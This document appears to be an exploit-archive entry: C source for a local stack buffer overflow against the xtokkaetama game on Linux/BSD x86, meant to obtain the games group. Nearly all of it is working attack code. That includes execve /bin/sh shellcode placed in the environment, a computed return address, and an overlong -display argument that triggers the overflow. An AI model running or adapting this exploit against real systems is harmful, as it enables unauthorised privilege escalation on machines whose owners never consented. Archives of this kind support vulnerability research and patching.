Linux and BSD x86 local exploit for xtokkaetama that gives egid of games.
b520af024cb9003b4e1a42a73b3409332209fffab5a67095c1e394f14a9b173b
/*
** Linux/BSD x86 exploit vs xtokkaetama (c) gunzip
** I don't think you can do something nasty
** with egid=games however (so this is mostly useless)
** just written with the idea to make expl targetless.
** mostly ripped from gera's paper about bof :-o
** https://members.xoom.it/gunzip/
** gunzip@ircnet <techieone@softhome.net>
**
*/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#define SIZE 20
#define PATH "/usr/games/xtokkaetama"
unsigned long STACKBASE()
{
__asm__ ( "movl %esp, %eax" );
}
/**
** linux and bsd execve shellcode by me
**/
unsigned char shellcode[] =
"\x31\xc0\x99\x52\x68\x2f\x2f\x73"
"\x68\x68\x2f\x62\x69\x6e\x89\xe3"
"\x52\x53\x89\xe1\x52\x51\x53\x54"
"\x8c\xe0\x85\xc0\x75\x04\xb0\x0b"
"\xeb\x02\xb0\x3b\xcd\x80";
int main( int argc, char *argv[] )
{
unsigned long i, ret ;
unsigned char buf[ SIZE + 1 ],
* env[]= { shellcode, NULL },
* run[]= { PATH, "-display", buf, NULL };
ret = ( ( STACKBASE() & 0xffff0000 ) | 0xfffa )
- strlen(PATH) - strlen(shellcode) ;
memset( buf, 0, sizeof(buf) );
for( i = 0; i < sizeof(buf) - 4; i += 4 )
*(unsigned long *)&buf[i] = ret;
if( execve( run[0], (char **)run, (char **)env ) ) {
perror( "execve" );
exit( -1 );
}
}